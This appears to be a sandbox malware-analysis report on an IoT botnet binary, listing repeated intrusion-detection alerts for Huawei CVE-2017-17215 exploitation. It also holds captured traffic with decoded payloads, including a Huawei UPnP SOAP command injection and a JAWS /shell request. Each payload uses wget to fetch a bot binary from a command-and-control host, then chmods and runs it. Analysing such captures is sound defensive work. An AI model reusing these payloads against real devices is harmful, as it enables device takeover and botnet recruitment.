Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.252.26.142

Timestamp:	192.168.2.23156.252.26.14232834372152835222 08/06/22-07:19:29.389161
SID:	2835222
Source Port:	32834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.34.113

Timestamp:	192.168.2.23156.245.34.11347958372152835222 08/06/22-07:20:53.752304
SID:	2835222
Source Port:	47958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.105.171

Timestamp:	192.168.2.23156.235.105.17158120372152835222 08/06/22-07:20:00.838160
SID:	2835222
Source Port:	58120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.106.232

Timestamp:	192.168.2.23156.235.106.23238052372152835222 08/06/22-07:19:46.804785
SID:	2835222
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.101.98

Timestamp:	192.168.2.23156.235.101.9851636372152835222 08/06/22-07:21:11.184192
SID:	2835222
Source Port:	51636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.34.115

Timestamp:	192.168.2.23156.254.34.11539034372152835222 08/06/22-07:20:06.738093
SID:	2835222
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.67.171

Timestamp:	192.168.2.23156.244.67.17139928372152835222 08/06/22-07:20:54.031258
SID:	2835222
Source Port:	39928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.245.33.72

Timestamp:	192.168.2.23156.245.33.7240872372152835222 08/06/22-07:19:43.361861
SID:	2835222
Source Port:	40872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.15.4

Timestamp:	192.168.2.23156.224.15.453854372152835222 08/06/22-07:19:43.569760
SID:	2835222
Source Port:	53854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.101.196

Timestamp:	192.168.2.23156.244.101.19635582372152835222 08/06/22-07:19:52.333819
SID:	2835222
Source Port:	35582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.238.136.194

Timestamp:	192.168.2.23197.238.136.19433464372152835222 08/06/22-07:20:51.343241
SID:	2835222
Source Port:	33464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.153.226

Timestamp:	192.168.2.23156.225.153.22651524372152835222 08/06/22-07:19:30.088494
SID:	2835222
Source Port:	51524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.241.65

Timestamp:	192.168.2.23156.227.241.6543306372152835222 08/06/22-07:19:24.221136
SID:	2835222
Source Port:	43306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.104.170

Timestamp:	192.168.2.23156.240.104.17051482372152835222 08/06/22-07:21:11.008228
SID:	2835222
Source Port:	51482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.8.155

Timestamp:	192.168.2.23156.241.8.15538456372152835222 08/06/22-07:21:02.280154
SID:	2835222
Source Port:	38456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.84.167

Timestamp:	192.168.2.23156.244.84.16735050372152835222 08/06/22-07:19:25.593415
SID:	2835222
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.60.21

Timestamp:	192.168.2.23156.238.60.2147264372152835222 08/06/22-07:20:06.840968
SID:	2835222
Source Port:	47264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.90.49

Timestamp:	192.168.2.23156.241.90.4941258372152835222 08/06/22-07:20:04.503966
SID:	2835222
Source Port:	41258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.127.75

Timestamp:	192.168.2.23156.250.127.7536324372152835222 08/06/22-07:19:26.178572
SID:	2835222
Source Port:	36324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.33.59

Timestamp:	192.168.2.23156.226.33.5942952372152835222 08/06/22-07:19:27.174349
SID:	2835222
Source Port:	42952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.74.195

Timestamp:	192.168.2.23156.244.74.19541006372152835222 08/06/22-07:20:04.504021
SID:	2835222
Source Port:	41006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.124.11

Timestamp:	192.168.2.23156.250.124.1149526372152835222 08/06/22-07:20:27.641269
SID:	2835222
Source Port:	49526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.72.51

Timestamp:	192.168.2.23156.244.72.5148544372152835222 08/06/22-07:19:30.062165
SID:	2835222
Source Port:	48544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.90.79

Timestamp:	192.168.2.23156.244.90.7934776372152835222 08/06/22-07:21:02.337983
SID:	2835222
Source Port:	34776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.35.147

Timestamp:	192.168.2.23156.226.35.14742074372152835222 08/06/22-07:21:04.689014
SID:	2835222
Source Port:	42074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.225.148.36

Timestamp:	192.168.2.23156.225.148.3636882372152835222 08/06/22-07:20:49.212415
SID:	2835222
Source Port:	36882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.67.223

Timestamp:	192.168.2.23156.241.67.22337336372152835222 08/06/22-07:19:32.414471
SID:	2835222
Source Port:	37336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.103.61

Timestamp:	192.168.2.23156.244.103.6132964372152835222 08/06/22-07:21:13.529327
SID:	2835222
Source Port:	32964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.105.255

Timestamp:	192.168.2.23156.250.105.25554474372152835222 08/06/22-07:19:26.154807
SID:	2835222
Source Port:	54474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.21.151

Timestamp:	192.168.2.23156.224.21.15147910372152835222 08/06/22-07:19:29.389496
SID:	2835222
Source Port:	47910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.113.0

Timestamp:	192.168.2.23156.250.113.050732372152835222 08/06/22-07:20:24.003561
SID:	2835222
Source Port:	50732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.232

Timestamp:	192.168.2.23156.241.118.23247680372152835222 08/06/22-07:21:04.696969
SID:	2835222
Source Port:	47680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.110.112

Timestamp:	192.168.2.23156.240.110.11258798372152835222 08/06/22-07:19:32.332687
SID:	2835222
Source Port:	58798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.105.68

Timestamp:	192.168.2.23156.226.105.6854090372152835222 08/06/22-07:20:58.709810
SID:	2835222
Source Port:	54090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.114.82

Timestamp:	192.168.2.23156.241.114.8253964372152835222 08/06/22-07:20:46.873374
SID:	2835222
Source Port:	53964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.69.251

Timestamp:	192.168.2.23156.226.69.25157096372152835222 08/06/22-07:21:13.836375
SID:	2835222
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.19.190

Timestamp:	192.168.2.23156.250.19.19034684372152835222 08/06/22-07:21:20.519259
SID:	2835222
Source Port:	34684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.66.246

Timestamp:	192.168.2.23156.250.66.24648736372152835222 08/06/22-07:19:25.592979
SID:	2835222
Source Port:	48736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.68.66

Timestamp:	192.168.2.23156.254.68.6639534372152835222 08/06/22-07:21:13.731473
SID:	2835222
Source Port:	39534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.76.127

Timestamp:	192.168.2.23156.226.76.12758024372152835222 08/06/22-07:21:07.140930
SID:	2835222
Source Port:	58024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.83.248

Timestamp:	192.168.2.23156.241.83.24846166372152835222 08/06/22-07:19:29.498077
SID:	2835222
Source Port:	46166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.107.104

Timestamp:	192.168.2.23156.241.107.10435974372152835222 08/06/22-07:21:00.015237
SID:	2835222
Source Port:	35974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.89.44

Timestamp:	192.168.2.23156.241.89.4442634372152835222 08/06/22-07:19:39.964819
SID:	2835222
Source Port:	42634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.247.99

Timestamp:	192.168.2.23156.227.247.9935490372152835222 08/06/22-07:19:32.332760
SID:	2835222
Source Port:	35490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlConnection: closeContent-Length: 134Server: 1.0 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL was not found on this server.</BODY></HTML>

Source: notabotnet.arm	String found in binary or memory: http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7
Source: notabotnet.arm	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: notabotnet.arm	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 66 65 61 72 66 75 6c 63 61 74 73 2e 74 6b 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6e 6f 74 61 62 6f 74 6e 65 74 2f 6e 6f 74 61 62 6f 74 6e 65 74 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.fearfulcats.tk -l /tmp/binary -r /notabotnet/notabotnet.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: cnc.fearfulcats.tk

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
